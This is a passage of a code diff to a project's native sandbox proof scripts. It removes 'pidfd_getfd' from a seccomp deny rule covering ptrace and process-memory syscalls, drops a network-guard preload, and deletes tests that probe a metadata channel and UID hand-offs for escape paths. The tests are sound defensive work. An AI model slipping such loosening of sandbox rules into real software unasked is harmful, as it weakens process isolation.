=> {}, report: message => reports.push(message), privateIndexCommand: [process.execPath, "/repo/packages/core/src/cli/brain.ts"] }); let hold: Awaited> | undefined; @@ -169,7 +167,7 @@ export async function proveNativeProviderIndex(brain: string, manager: ReturnTyp const dbPath = join(root, "ui.db"), db = createUiDb(dbPath); const execution = createHostExecution({ brainPath: brain, dbPath, nativeManager: manager, profile, requireGate: true }); execution.attach(db); - const turns = createGovernedTurns({ nativeManager: createNativeBrainManagerClient({ socketPath }), brainPath: brain, execution, profile, maskPaths: [], + const turns = createProviderIndexTurns({ nativeManager: manager, brainPath: brain, execution, profile, maskPaths: [], index: async () => {}, report: () => {}, privateIndexCommand: [process.execPath, "/repo/packages/core/src/cli/brain.ts"], exposures: createProviderExposures(db) }); let hold: Awaited> | undefined; @@ -216,7 +214,7 @@ export async function proveNativeProviderIndex(brain: string, manager: ReturnTyp const dbPath = join(root, "ui.db"), db = createUiDb(dbPath); const execution = createHostExecution({ brainPath: brain, dbPath, nativeManager: manager, profile, requireGate: true }); execution.attach(db); - const turns = createGovernedTurns({ nativeManager: createNativeBrainManagerClient({ socketPath }), brainPath: brain, execution, profile, maskPaths: [], + const turns = createProviderIndexTurns({ nativeManager: manager, brainPath: brain, execution, profile, maskPaths: [], index: async () => {}, report: () => {}, privateIndexCommand: [process.execPath, "/repo/packages/core/src/cli/brain.ts"] }); let refusal: unknown; try { diff --git a/scripts/native-proof/recovery-inventory.ts b/scripts/native-proof/recovery-inventory.ts index 8c9c1ef773..06e256f3f3 100644 --- a/scripts/native-proof/recovery-inventory.ts +++ b/scripts/native-proof/recovery-inventory.ts @@ -6,7 +6,6 @@ import { createNativeBrainManager } from "../../packages/ui-sdk/src/server/nativ import { createNativeBrainManagerClient } from "../../packages/ui-sdk/src/server/native-brain-manager-client"; import { NativeRecoveryIndex } from "../../packages/ui-sdk/src/server/native-recovery-index"; import type { Database } from "bun:sqlite"; -import {writePrivateProofArtifact} from "../../packages/ui-sdk/tests/fixtures/private-proof-artifact"; export async function proveRecoveryInventory(artifacts: string): Promise { const brain = "/brain-fixture/brain", state = "/brain-fixture/.brain-native/state"; @@ -131,10 +130,6 @@ export async function proveRecoveryInventory(artifacts: string): Promise { const healthy = await (await manager.run({operation:"checkpoint",id:healthyId})).json() as {id:string}; expect(healthy.id, "NATIVE_MALFORMED_INTENT_OTHER_CHECKPOINT_WORKS").toBe(healthyId); await expect(manager.run({operation:"checkpoint",id:malformedId}), "NATIVE_QUARANTINE_ID_CANNOT_BE_REUSED").rejects.toThrow("quarantined"); - // A prior failed hosted phase may retain valid stage reservations. Preserve - // only fixed counts/bytes; never loosen the recovery control's 4 KiB budget. - const inheritedStages=fs.readdirSync(state).filter(name=>name.endsWith(".json")).flatMap(name=>{try{const value=JSON.parse(fs.readFileSync(join(state,name),"utf8"));return value.kind==="stage"&&value.state!=="deleted"?[value]:[];}catch{return [];}}); - writePrivateProofArtifact(artifacts,"recovery-stage-admission.json",JSON.stringify({stagingChargedBytes:ready.recovery.stagingChargedBytes,quarantinedIntents:ready.recovery.quarantinedIntents,retainedStageCount:inheritedStages.length,retainedStageBytes:inheritedStages.reduce((sum,value)=>sum+(Number.isSafeInteger(value.stageRequest?.allowanceBytes)?value.stageRequest.allowanceBytes:0),0)})); const stage = await (await manager.run({operation:"prepareStage",id:id(100006),checkpointId:healthyId,allowanceBytes:4096})).json() as {id:string}; expect(stage.id, "NATIVE_MALFORMED_INTENT_HEALTHY_STAGE_PREPARES").toBe(id(100006)); expect(ready.recovery, "NATIVE_ABSENT_STAGE_HAS_NO_STORAGE_CHARGE").toMatchObject({quarantinedIntents:1,stagingChargedBytes:0}); diff --git a/scripts/native-proof/reference-efficiency.ts b/scripts/native-proof/reference-efficiency.ts index 38211bd2f7..15555f9efa 100644 --- a/scripts/native-proof/reference-efficiency.ts +++ b/scripts/native-proof/reference-efficiency.ts @@ -389,10 +389,10 @@ export async function runReferenceEfficiency(context: EfficiencyContext): Promis git(work, "commit", "-q", "-am", "The Phaeacians listen"); push(); advance(); const before = await sourceRoots(); - // Keep one status request in flight: the manager serializes operations, so - // overlapping samples queue behind refresh and can starve that refresh. - const [readers, concurrentMs, peak] = await sampled(() => Promise.all(Array.from({ length: 4 }, () => request()))); - const joined = await measure("concurrent-refresh", concurrentMs, [], { peakPendingBytes: peak.pendingBytes }); + let peak = 0; const sample = setInterval(() => { client.poolStatus().then(value => { peak = Math.max(peak, value.accounting?.pendingBytes ?? 0); }, () => {}); }, 50); + const [readers, concurrentMs] = await timed(() => Promise.all(Array.from({ length: 4 }, () => request()))); + clearInterval(sample); + const joined = await measure("concurrent-refresh", concurrentMs, [], { peakPendingBytes: peak }); const added = (await sourceRoots()).filter(id => !before.includes(id)); expect({ added: added.length, readers: new Set(readers.map(lease => lease.rootId)).size }, "REFERENCE_EFFICIENCY_CONCURRENT_REFRESH_ONE_ROOT").toEqual({ added: 1, readers: 1 }); expect(joined.chargedBytes - refreshed.chargedBytes, "REFERENCE_EFFICIENCY_CONCURRENT_REFRESH_SMALL").toBeLessThanOrEqual(T.concurrentRefreshBytes); diff --git a/scripts/native-proof/reference-integration-child.ts b/scripts/native-proof/reference-integration-child.ts index ce129ccc1e..7129660079 100644 --- a/scripts/native-proof/reference-integration-child.ts +++ b/scripts/native-proof/reference-integration-child.ts @@ -1,4 +1,3 @@ -import "../test-network-child-preload.ts"; /** * The hosted app for the integrated reference proof (#2751), run by * reference-integration.native.ts as the unprivileged app user. Both backends diff --git a/scripts/native-proof/reference-integration.native.ts b/scripts/native-proof/reference-integration.native.ts index 95258dbf6e..70878c6fdd 100644 --- a/scripts/native-proof/reference-integration.native.ts +++ b/scripts/native-proof/reference-integration.native.ts @@ -1,4 +1,3 @@ -import {serveNativeFixtureBrainManager as serveNativeBrainManager} from '../../tests/helpers/native-stage-metadata-fixture'; import { watchdogMs } from "../test-deadlines"; /** * Integrated shared-reference and managed-worktree proof (#2751). Runs only @@ -20,7 +19,7 @@ import { appendFileSync, chmodSync, closeSync, existsSync, mkdirSync, openSync, import { randomBytes } from "node:crypto"; import { join } from "node:path"; import { Database } from "bun:sqlite"; - +import { serveNativeBrainManager } from "../../packages/ui-sdk/src/server/native-brain-manager.js"; import { createNativeBrainManagerClient } from "../../packages/ui-sdk/src/server/native-brain-manager-client.js"; import { hostOutputStagingLimits } from "../../packages/ui-sdk/src/server/worker-state-limits.js"; import type { NativePoolRecord } from "../../packages/ui-sdk/src/server/native-brain-manager-protocol.js"; diff --git a/scripts/native-proof/reference-pool.native.ts b/scripts/native-proof/reference-pool.native.ts index 0aee556941..e2aa9d0238 100644 --- a/scripts/native-proof/reference-pool.native.ts +++ b/scripts/native-proof/reference-pool.native.ts @@ -1,12 +1,10 @@ -import {serveNativeFixtureBrainManager as serveNativeBrainManager} from '../../tests/helpers/native-stage-metadata-fixture'; -import {verifyNativeUidHandoffs} from "./uid-handoff.native"; import { watchdogMs } from "../test-deadlines"; /** Real reference-pool qualification on owned Btrfs loop volumes (#2428). Runs only inside reference-pool-fixture.py. */ import { expect, spyOn } from "bun:test"; import { closeSync, existsSync, linkSync, mkdirSync, openSync, readdirSync, readFileSync, readlinkSync, rmSync, statSync, symlinkSync, truncateSync, unlinkSync, writeFileSync, writeSync, chmodSync, renameSync } from "node:fs"; import { join } from "node:path"; import { randomBytes, randomUUID } from "node:crypto"; -import { createNativeBrainManager, type NativeBrainManagerConfig } from "../../packages/ui-sdk/src/server/native-brain-manager.js"; +import { createNativeBrainManager, serveNativeBrainManager, type NativeBrainManagerConfig } from "../../packages/ui-sdk/src/server/native-brain-manager.js"; import { createNativeBrainManagerClient } from "../../packages/ui-sdk/src/server/native-brain-manager-client.js"; import { reservePhysical } from "../../packages/ui-sdk/src/server/native-reference-pool.js"; import type { NativePoolGrowth, NativePoolRecord, NativePoolStatus } from "../../packages/ui-sdk/src/server/native-brain-manager-protocol.js"; @@ -39,8 +37,6 @@ const config: NativeBrainManagerConfig = { referencePool: { storePath: POOL, devicePath: "/dev/brain-pool-loop", fsid: fsid(POOL), combinedLimitBytes: 256 * MIB, operationLimitBytes: 32 * MIB, emergencyBytes: 4 * MIB, physicalFloorBytes: 64 * MIB, headroomLedgerPath: LEDGER, maxIdentities: 256 }, }; -await verifyNativeUidHandoffs(); -await (await import("./stage-metadata.native")).proveNativeStageMetadata(); type Manager = Awaited>; let manager: Manager = await createNativeBrainManager(config); async function call(request: Record): Promise { diff --git a/scripts/native-proof/schedule-folder-admission.ts b/scripts/native-proof/schedule-folder-admission.ts index 683a1d0844..33236cf381 100644 --- a/scripts/native-proof/schedule-folder-admission.ts +++ b/scripts/native-proof/schedule-folder-admission.ts @@ -1,11 +1,10 @@ -import {serveNativeFixtureBrainManager as serveNativeBrainManager} from '../../tests/helpers/native-stage-metadata-fixture'; import { watchdogMs } from "../test-deadlines"; /** Actual Btrfs publication control; invoked by the existing owned native fixture. */ import { strict as assert } from "node:assert"; import { mkdirSync, writeFileSync, existsSync, chmodSync, statSync, rmSync } from "node:fs"; import { text as streamText } from "node:stream/consumers"; import { join } from "node:path"; - +import { serveNativeBrainManager } from "../../packages/ui-sdk/src/server/native-brain-manager.js"; import { createNativeBrainManagerClient } from "../../packages/ui-sdk/src/server/native-brain-manager-client.js"; import { createUiDb } from "../../packages/ui-server/src/db/client.js"; import { createWriterGate } from "../../packages/ui-server/src/brain/writer-gate.js"; diff --git a/scripts/native-proof/seccomp.json b/scripts/native-proof/seccomp.json index b22c33737a..d6bb02056b 100644 --- a/scripts/native-proof/seccomp.json +++ b/scripts/native-proof/seccomp.json @@ -427,7 +427,6 @@ }, { "names": [ - "pidfd_getfd", "process_vm_readv", "process_vm_writev", "ptrace" diff --git a/scripts/native-proof/stage-metadata-channel.test.py b/scripts/native-proof/stage-metadata-channel.test.py deleted file mode 100644 index 636e204e85..0000000000 --- a/scripts/native-proof/stage-metadata-channel.test.py +++ /dev/null @@ -1,59 +0,0 @@ -# Real metadata-only protocol proof, run by the existing root native proof. -import json,os,pathlib,select,socket,subprocess,tempfile,unittest -PROGRAM=pathlib.Path(__file__).resolve().parents[1]/'native-stage-metadata-channel.py' -def stamp(path): - value=os.lstat(path) - return str(value.st_ino),f'{value.st_ino}:{value.st_size}:{value.st_mtime_ns}:{value.st_ctime_ns}' -class MetadataChannel(unittest.TestCase): - def setUp(self): - if os.geteuid()!=0:raise RuntimeError('root native proof required') - self.directory=tempfile.TemporaryDirectory(prefix='odysseus-metadata-proof-') - self.root=pathlib.Path(self.directory.name);self.stage=self.root/'stage';self.stage.mkdir() - (self.stage/'loom').write_text('Ithaca\n');(self.stage/'link').symlink_to('loom') - self.keeper=subprocess.Popen(['/bin/sleep','60']) - pid=self.keeper.pid;value=os.stat(self.stage) - start=pathlib.Path(f'/proc/{pid}/stat').read_text().rsplit(') ',1)[1].split()[19] - config=dict(socket=str(self.root/'channel'),id='00000000-0000-4000-8000-000000000000',pid=pid,start=start,namespace=str(os.stat(f'/proc/{pid}/ns/mnt').st_ino),root=str(self.stage),dev=str(value.st_dev),ino=str(value.st_ino),appUid=0,gid=0,workerUid=0) - self.server=subprocess.Popen(['/usr/bin/python3','-I','-S',str(PROGRAM),json.dumps(config)],stdout=subprocess.PIPE,stderr=subprocess.PIPE) - if not select.select([self.server.stdout],[],[],10)[0]:raise RuntimeError('channel readiness watchdog') - self.assertEqual(json.loads(self.server.stdout.readline()),{'ready':True}) - self.peer=socket.socket(socket.AF_UNIX);self.peer.settimeout(10);self.peer.connect(config['socket']);self.input=self.peer.makefile('rb') - self.hello=json.loads(self.input.readline());self.assertEqual(self.hello['pid'],pid) - def tearDown(self): - self.input.close();self.peer.close();self.server.terminate();self.server.communicate(timeout=10);self.keeper.terminate();self.keeper.wait(timeout=10);self.directory.cleanup() - def request(self,path,inode=None,expected=None): - if inode is None:inode,expected=stamp(self.stage/path) - self.peer.sendall((json.dumps(dict(path=path,inode=inode,stamp=expected))+'\n').encode()) - return json.loads(self.input.readline()) - def refused_then_valid(self,path,inode='1',expected='invalid'): - self.assertEqual(self.request(path,inode,expected),{'error':'stage metadata request refused'}) - self.assertEqual(self.request('loom')['kind'],'file','REJECTED_REQUEST_DOES_NOT_POISON_NEXT_REQUEST') - def test_final_link_is_not_followed(self): - value=self.request('link');inode,expected=stamp(self.stage/'link') - self.assertEqual(value['kind'],'symlink','FINAL_LINK_METADATA_DOES_NOT_FOLLOW_TARGET') - self.assertEqual(value['ino'],inode);self.assertEqual(value['stamp'],expected) - self.assertEqual(value['worker']['ino'],inode);self.assertEqual(value['worker']['errno'],40) - def test_intermediate_link_refuses_without_poisoning(self): - (self.stage/'directory').mkdir();(self.stage/'alias').symlink_to('directory') - self.refused_then_valid('alias/loom') - def test_outside_path_refuses_without_poisoning(self):self.refused_then_valid('../outside') - def test_stale_stamp_refuses_without_poisoning(self):self.refused_then_valid('loom') - def test_swapped_link_refuses_without_poisoning(self): - inode,expected=stamp(self.stage/'link');(self.stage/'link').unlink();(self.stage/'link').symlink_to('other') - self.refused_then_valid('link',inode,expected) - def test_schema_refuses_without_poisoning(self): - self.peer.sendall(b'{"path":"loom"}\n');self.assertEqual(json.loads(self.input.readline()),{'error':'stage metadata request refused'}) - self.assertEqual(self.request('loom')['kind'],'file') - def test_foreign_mount_refuses_without_poisoning(self): - target=self.stage/'foreign';target.mkdir() - subprocess.run(['/bin/mount','-t','tmpfs','tmpfs',str(target)],check=True,capture_output=True) - try: - inode,expected=stamp(target);self.refused_then_valid('foreign',inode,expected) - finally:subprocess.run(['/bin/umount',str(target)],check=True,capture_output=True) - def test_replaced_root_expires_channel(self): - self.stage.rename(self.root/'retired');self.stage.mkdir() - self.assertEqual(self.input.readline(),b'') - def test_expired_keeper_closes_channel(self): - self.keeper.terminate();self.keeper.wait(timeout=10) - self.assertEqual(self.input.readline(),b'') -if __name__=='__main__':unittest.main() diff --git a/scripts/native-proof/stage-metadata.native.ts b/scripts/native-proof/stage-metadata.native.ts deleted file mode 100644 index 15bd7d8c4a..0000000000 --- a/scripts/native-proof/stage-metadata.native.ts +++ /dev/null @@ -1,59 +0,0 @@ -/** Root-container proof of the test-only metadata channel; never reads file bytes. */ -import {expect} from "bun:test"; -import {mkdtempSync,mkdirSync,chmodSync,chownSync,lstatSync,statSync,readFileSync,rmSync,renameSync,symlinkSync,writeFileSync} from "node:fs"; -import {join} from "node:path"; -import {connectNativeStageMetadata} from "../native-stage-metadata-channel"; -import {opaqueStageNode,recheckOpaqueStageNode} from "../native-opaque-stage"; -import {installNetworkGuard} from "../test-network-guard"; -import {captureNativeReceipts} from "../native-test-receipts"; -import {nativeUnknownBoundary} from "../test-native-guard"; -const start=(pid:number)=>readFileSync(`/proc/${pid}/stat`,"utf8").replace(/^.*\) /s,"").split(" ")[19]!; -export async function proveNativeStageMetadata():Promise{ - installNetworkGuard();const receipts=captureNativeReceipts(); - try{ - const code=`import {nativeClaudeBoundary} from ${JSON.stringify(join(import.meta.dir,"../test-native-guard.ts"))};try{nativeClaudeBoundary("/usr/bin/true",[],{});}catch{}`; - const child=Bun.spawn(["/usr/bin/setpriv","--reuid=21001","--regid=21001","--clear-groups",process.execPath,"--preload",join(import.meta.dir,"../test-network-child-preload.ts"),"-e",code],{env:{PATH:"/usr/bin:/bin",GITHUB_ACTIONS:"true",RUNNER_ENVIRONMENT:"github-hosted",BRAIN_NATIVE_TEST_HEAD:process.env.BRAIN_NATIVE_TEST_HEAD,...receipts.env},stdout:"pipe",stderr:"pipe"}); - const [exit,,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); - const evidence=err+receipts.read();expect(exit,"QUALIFICATION_WITH_FOREIGN_RECEIPT_OWNER_REFUSES_AUTHORITY").toBe(1); - expect(evidence,"FIXED_MASKED_PROBES_REACH_AUTHORITY_CHECK").toContain('"reason":"scripted service authority was not registered"'); - expect(evidence).not.toContain('"reason":"OS namespace setup failed"'); - }finally{receipts.dispose();} - - const modes=["root-valid","root-swapped","valid","wrong-handle","wrong-peer","cleanup","schema","groups","expired","symlink","foreign-mount","dev-mismatch","ino-mismatch","exec-only","search-only","later-readable","swapped"] as const; - for(const mode of modes){ - const root=mkdtempSync("/tmp/odysseus-stage-channel-"),socket=join(root,"channel"),source=join(root,"merged"),rootMode=mode.startsWith("root-"),path=rootMode?source:join(source,"unknown");mkdirSync(source,{mode:0o755});if(!rootMode)mkdirSync(path,{mode:0o700});chownSync(path,rootMode?21002:21001,21001);if(rootMode)chmodSync(path,0); - if(mode==="exec-only"){rmSync(path,{recursive:true});writeFileSync(path,"opaque");chownSync(path,21001,21001);chmodSync(path,0o711);} - if(mode==="search-only")chmodSync(path,0o711); - if(mode==="symlink"){rmSync(path,{recursive:true});symlinkSync("/proc",path);} - const keeper=Bun.spawn([...(mode==="wrong-peer"?["/usr/bin/setpriv","--reuid=21001","--regid=21001","--clear-groups"]:[]),"/usr/bin/sleep","60"],{env:{},stdout:"ignore",stderr:"ignore"}); - const info=lstatSync(source,{bigint:true}),namespace=String(statSync(`/proc/${mode==="wrong-peer"?process.pid:keeper.pid}/ns/mnt`,{bigint:true}).ino),id="00000000-0000-4000-8000-000000000000"; - const config={...(mode==="wrong-peer"?{readerPid:process.pid,readerStart:start(process.pid),readerNamespace:namespace}:{}),socket,id,pid:keeper.pid,start:start(keeper.pid),namespace,root:source,dev:String(info.dev),ino:String(info.ino),appUid:mode==="wrong-peer"?21001:0,gid:21001,workerUid:21002}; - let mounted=false,channel:Awaited>|undefined; - if(mode==="foreign-mount"){const mount=Bun.spawnSync(["mount","--bind","/proc",path],{stdout:"pipe",stderr:"pipe"});expect(mount.exitCode,mount.stderr.toString()).toBe(0);mounted=true;} - const helper=Bun.spawn(["/usr/bin/python3","-I","-S",join(import.meta.dir,"../native-stage-metadata-channel.py"),JSON.stringify(config)],{env:{},stdout:"pipe",stderr:"pipe"});const errors=new Response(helper.stderr).text(); - try{ - const reader=helper.stdout.getReader(),ready=await reader.read();expect(new TextDecoder().decode(ready.value),"REAL_METADATA_CHANNEL_READY "+mode+(ready.done?await errors:"")).toContain('"ready":true');reader.releaseLock(); - const ticket={id,keeper:{pid:mode==="wrong-handle"?keeper.pid+1:keeper.pid,start:config.start,mountNamespaceInode:namespace},root:{dev:config.dev,ino:config.ino}}; - if(mode==="wrong-handle"||mode==="wrong-peer"){await expect(connectNativeStageMetadata(socket,ticket),"WRONG_STAGE_HANDLE_OR_PEER_REFUSES").rejects.toThrow();continue;} - const connected=connectNativeStageMetadata(socket,ticket);await expect(connected,"UNLINKED_CHANNEL_REQUIRED_BEFORE_INSPECTION").resolves.toBeDefined();channel=await connected; - if(mode==="cleanup"){helper.kill("SIGTERM");await helper.exited;} - if(mode==="expired"){keeper.kill("SIGKILL");await keeper.exited;} - const node=lstatSync(path,{bigint:true}),stamp=`${node.ino}:${node.size}:${node.mtimeNs}:${node.ctimeNs}`; - const readerIdentity={uid:21002,gids:[21001],root:source,forbidden:[],inspect:(relative:string,stamp:string,inode:string)=>{const value=channel!.inspect(relative,stamp,inode);if(mode==="dev-mismatch")value.worker.dev="0";if(mode==="ino-mismatch")value.worker.ino="0";if(mode==="schema")delete (value as Partial).worker;if(mode==="groups")value.worker.readerGids=[0];return value;}}; - const capture=()=>opaqueStageNode(path,rootMode?"":"unknown",mode==="exec-only"?"file":"directory",stamp,readerIdentity); - if(["cleanup","schema","groups","expired","symlink","foreign-mount","dev-mismatch","ino-mismatch","exec-only","search-only"].includes(mode)){expect(capture,"UNPROVEN_CHANNEL_NODE_REFUSES "+mode).toThrow();continue;} - const pinned=capture(); - if(mode==="later-readable"){chmodSync(path,0o755);expect(()=>recheckOpaqueStageNode(path,pinned,readerIdentity),"LATER_READABLE_CHANNEL_NODE_REFUSES").toThrow();continue;} - if(mode==="swapped"){rmSync(path,{recursive:true});mkdirSync(path,{mode:0o700});expect(()=>recheckOpaqueStageNode(path,pinned,readerIdentity),"SWAPPED_CHANNEL_NODE_REFUSES").toThrow();continue;} - if(mode==="root-swapped"){renameSync(source,source+"-retired");mkdirSync(source,{mode:0o700});expect(()=>recheckOpaqueStageNode(path,pinned,readerIdentity),"ROOT_SWAP_BETWEEN_IDENTITY_CHECKS_REFUSES").toThrow();continue;} - recheckOpaqueStageNode(path,pinned,readerIdentity); - const payload=`import os,socket,sys\np=${JSON.stringify(socket)}\nassert not os.path.lexists(p), 'UNSAFE_CHANNEL_BIND_VISIBLE'\ns=socket.socket(socket.AF_UNIX)\ntry:s.connect(p);raise AssertionError('UNSAFE_CHANNEL_REACHABLE')\nexcept FileNotFoundError:pass\nfor name in os.listdir('/proc/self/fd'):\n try:\n target=os.readlink('/proc/self/fd/'+name)\n except FileNotFoundError:continue\n info=os.fstat(int(name))\n assert (str(info.st_dev),str(info.st_ino))!=${JSON.stringify([channel.identity.dev,channel.identity.ino]).replace("[","(").replace("]",")")}, 'UNSAFE_CHANNEL_DESCRIPTOR'\nprint('METADATA_CHANNEL_UNREACHABLE_FROM_PAYLOAD')`; - const plan=nativeUnknownBoundary(["/bin/sh","-c",'exec "$@"',"odysseus-stage-channel","/usr/bin/python3","-I","-S","-c",payload]); - try{plan.beforeLaunch();const child=Bun.spawn(plan.argv,{env:plan.env,stdout:"pipe",stderr:"pipe"});plan.afterSpawn?.(child.pid);const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]);expect(code,err).toBe(0);expect(out,"CHANNEL_PATH_AND_FD_ABSENT_INSIDE_LAUNCH").toContain("METADATA_CHANNEL_UNREACHABLE_FROM_PAYLOAD");}finally{plan.dispose();} - }finally{ - channel?.close();try{helper.kill("SIGTERM");}catch{}await helper.exited;await errors;try{keeper.kill("SIGKILL");}catch{}await keeper.exited; - if(mounted)expect(Bun.spawnSync(["umount",path],{stdout:"pipe",stderr:"pipe"}).exitCode).toBe(0);rmSync(root,{recursive:true,force:true}); - } - } - console.log(JSON.stringify({nativeStageMetadata:"pass",cases:modes.length,contents:"never-read",socket:"unlinked",workerIdentity:"kernel-matched"})); -} diff --git a/scripts/native-proof/uid-handoff.native.ts b/scripts/native-proof/uid-handoff.native.ts deleted file mode 100644 index fba3d0e40c..0000000000 --- a/scripts/native-proof/uid-handoff.native.ts +++ /dev/null @@ -1,41 +0,0 @@ -/** Root-container proof of the product's two fixed credential hand-offs. */ -import {expect} from "bun:test"; -import {join} from "node:path"; -import {nativeProductUidHandoffs} from "../test-native-guard"; -import {bundledClaudeBinary} from "../../packages/core/src/providers/agents/claude-binary"; -import {spawnGuardFixture} from "../../tests/helpers/native-receipt-fixture"; -import {watchdogMs} from "../test-deadlines"; - -export async function verifyNativeUidHandoffs():Promise { - const guard=join(import.meta.dir,"../test-native-guard.ts"),quote=(text:string)=>"'"+text.replaceAll("'","'\\''")+"'"; - const program='import os,json,errno\ns=open("/proc/self/status").read().splitlines()\ncaps={k:spl[1].strip() for line in s for spl in [line.split(":",1)] for k in [spl[0]] if k in ["CapEff","CapPrm","CapAmb"]}\ntry: os.open("/reference-pool/roots",os.O_RDONLY); result="UNSAFE_POOL_VISIBLE"\nexcept OSError as e: result=errno.errorcode[e.errno]\nprint(json.dumps({"uid":os.getuid(),"gid":os.getgid(),"groups":os.getgroups(),"caps":caps,"pool":result},sort_keys=True))'; - const harmless="exec /usr/bin/python3 -I -S -c "+quote(program); - for(const prefix of nativeProductUidHandoffs()){ - const envelope=["bwrap","--ro-bind","/","/","--tmpfs","/reference-pool","--tmpfs","/tmp","--proc","/proc","--dev","/dev","--unshare-pid","--die-with-parent","--",...prefix,harmless]; - const baseline=Bun.spawn(["/usr/bin/python3","-I","-S","-c",'import json,subprocess,sys\nr=subprocess.run(json.loads(sys.argv[1]),capture_output=True,text=True)\nprint(json.dumps({"code":r.returncode,"out":r.stdout,"err":r.stderr}))',JSON.stringify(envelope)],{stdout:"pipe",stderr:"pipe"}); - const [baselineCode,baselineOut,baselineErr]=await Promise.all([baseline.exited,new Response(baseline.stdout).text(),new Response(baseline.stderr).text()]);expect(baselineCode,baselineErr).toBe(0); - const main=JSON.parse(baselineOut) as {code:number;out:string;err:string};expect(main.code,main.err).toBe(0); - const expected=JSON.parse(main.out) as {uid:number;gid:number;groups:number[];caps:Record;pool:string};expect(expected.uid).toBe(1001);expect(expected.gid).toBe(1000);expect(expected.groups).toEqual(prefix[3]==="--groups=0"?[0]:[]);expect(expected.pool,"PRODUCT_POOL_MASK_RETURNS_ENOENT").toBe("ENOENT"); - for(const value of Object.values(expected.caps))expect(value,"MAIN_HANDOFF_HAS_NO_CAPABILITIES").toMatch(/^0+$/); - for(const mode of ["parity","stub","one-byte"] as const){ - const argv=[...envelope]; - if(mode==="one-byte")argv[argv.indexOf("--reuid=1001")]="--reuid=1002"; - if(mode==="stub")argv[argv.length-1]='target=$(printf %s '+quote(Buffer.from(bundledClaudeBinary()!).toString("base64"))+' | base64 -d); exec "$target" --version'; - const code=`import {nativeUnknownBoundary} from ${JSON.stringify(guard)};const plan=nativeUnknownBoundary(${JSON.stringify(argv)}),child=Bun.spawn(plan.argv,{env:plan.env,stdout:"pipe",stderr:"pipe"});const errors=(async()=>{let text="";for await(const chunk of child.stderr){text+=new TextDecoder().decode(chunk);process.stderr.write(chunk);}return text;})();const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),errors]);console.log(JSON.stringify({code,out,err}));process.exitCode=code;`; - const child=spawnGuardFixture([process.execPath,"-e",code],{timeout:watchdogMs(30000)});const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); - if(mode==="stub"){expect(exit,"UID_HANDOFF_NATIVE_PATH_IS_MASKED").not.toBe(0);expect(err,"UID_HANDOFF_EXEC_REACHES_STUB").toContain("Offline native runtime refused by tripwire");expect(err).not.toContain("setpriv:");continue;} - expect(out,"UID_HANDOFF_DRIVER_REPORT "+mode+" "+err).not.toBe(""); - const result=JSON.parse(out.trim().split("\n").at(-1)!) as {code:number;out:string;err:string}; - if(mode==="parity"){ - expect(exit,"UID_HANDOFF_REACHES_PRODUCT_POOL_BOUNDARY "+err+result.err).toBe(0); - expect(JSON.parse(result.out),"UID_GID_GROUPS_CAPS_AND_POOL_SIGNAL_EQUAL_MAIN").toEqual(expected); - expect(result.err).not.toContain("setpriv:"); - }else if(mode==="one-byte"){ - expect(exit,"UNPROVEN_HANDOFF_CANNOT_CHANGE_UID").not.toBe(0); - expect(result.err,"UNPROVEN_HANDOFF_FAILS_AT_SETPRIV").toContain("setpriv: setresuid failed: Operation not permitted"); - expect(result.out).toBe(""); - } - } - } - console.log(JSON.stringify({kind:"uid-handoff-proof",rows:2,uid:1001,gid:1000,capabilities:"zero",poolSignal:"ENOENT",native:"tripwire",nearMiss:"setpriv-EPERM"})); -} diff --git a/scripts/native-rtk-diagnostics.ts b/scripts/native-rtk-diagnostics.ts deleted file mode 100644 index 57b6889a47..0000000000 --- a/scripts/native-rtk-diagnostics.ts +++ /dev/null @@ -1,71 +0,0 @@ -import {readFileSync,realpathSync,statSync,accessSync,constants} from "node:fs"; -import {isAbsolute,resolve} from "node:path"; -import {spawnSync} from "node:child_process"; -import {within,isStaticNativeElf} from "../packages/ui-sdk/src/server/worker-rtk"; -import {rewriteInstalledRtk} from "../packages/ui-sdk/src/server/rtk"; -import {watchdogMs} from "./test-deadlines"; -/** Fixed test-only categories; adapter errors never contribute arbitrary text. */ -import { nativeReceipt } from "./native-test-receipts"; -import { nativeTestHead } from "./test-native-guard"; -export function nativeRtkFailureCategory(error:unknown):string { - const message=error instanceof Error?error.message:""; - if(message==="native fixture RTK payload missing")return "no-owned-match"; - if(message==="native fixture RTK payload ambiguous")return "multiple-match"; - if(["native fixture RTK root identity changed","native fixture RTK audited identity changed","native fixture RTK payload identity changed","native fixture RTK identity changed"].includes(message))return "start-mismatch"; - if(["native fixture RTK executable changed","native fixture RTK executable unavailable"].includes(message))return "exe-mismatch"; - if(["native fixture RTK runtime selection ambiguous","native fixture RTK spawn is unregistered","native fixture RTK worker unavailable","native fixture RTK worker identity unavailable"].includes(message))return "launch-mismatch"; - return "register-refused"; -} -export function nativeRtkExecutableLabel(error:unknown):string|undefined { - if(nativeRtkFailureCategory(error)!=="exe-mismatch"||!(error instanceof Error))return; - return ["basename-equal-but-path-differs","different-basename","unavailable"].includes(String(error.cause))?String(error.cause):"unavailable"; -} -export function nativeRtkUnavailableLabels(error:unknown):Record|undefined { - if(!(error instanceof Error)||error.message!=="native fixture RTK executable unavailable")return; - const cause=error.cause as {source?:unknown;errno?:unknown;processState?:unknown;leader?:unknown;exeReadlink?:unknown;exeStat?:unknown}|undefined; - const processLabels=cause&&Object.hasOwn(cause,"processState")?{processState:["running","sleeping","disk-sleep","zombie","stopped","tracing-stop","dead","idle","missing"].includes(String(cause.processState))?String(cause.processState):"unknown",leader:typeof cause.leader==="boolean"?cause.leader:null,...Object.fromEntries(["exeReadlink","exeStat"].map(key=>[key,["ok","ENOENT","EACCES","EPERM","ESRCH","ELOOP","ENOTDIR"].includes(String(cause[key as "exeReadlink"|"exeStat"]))?String(cause[key as "exeReadlink"|"exeStat"]):"unknown"]))}:{}; - return {...processLabels,source:["canonicalize-selected","read-proc-exe"].includes(String(cause?.source))?String(cause?.source):"unknown",errno:["ENOENT","EACCES","EPERM","ESRCH","ELOOP","ENOTDIR"].includes(String(cause?.errno))?String(cause?.errno):"unknown"}; -} -export function nativeRtkCandidateLabels(error:unknown):{candidateCount:number;candidates:{depth:number;parentRole:string;state:string}[]}|undefined { - if(!(error instanceof Error)||!["native fixture RTK payload missing","native fixture RTK payload ambiguous"].includes(error.message))return; - const cause=error.cause as {candidateCount?:unknown;candidates?:unknown}|undefined; - 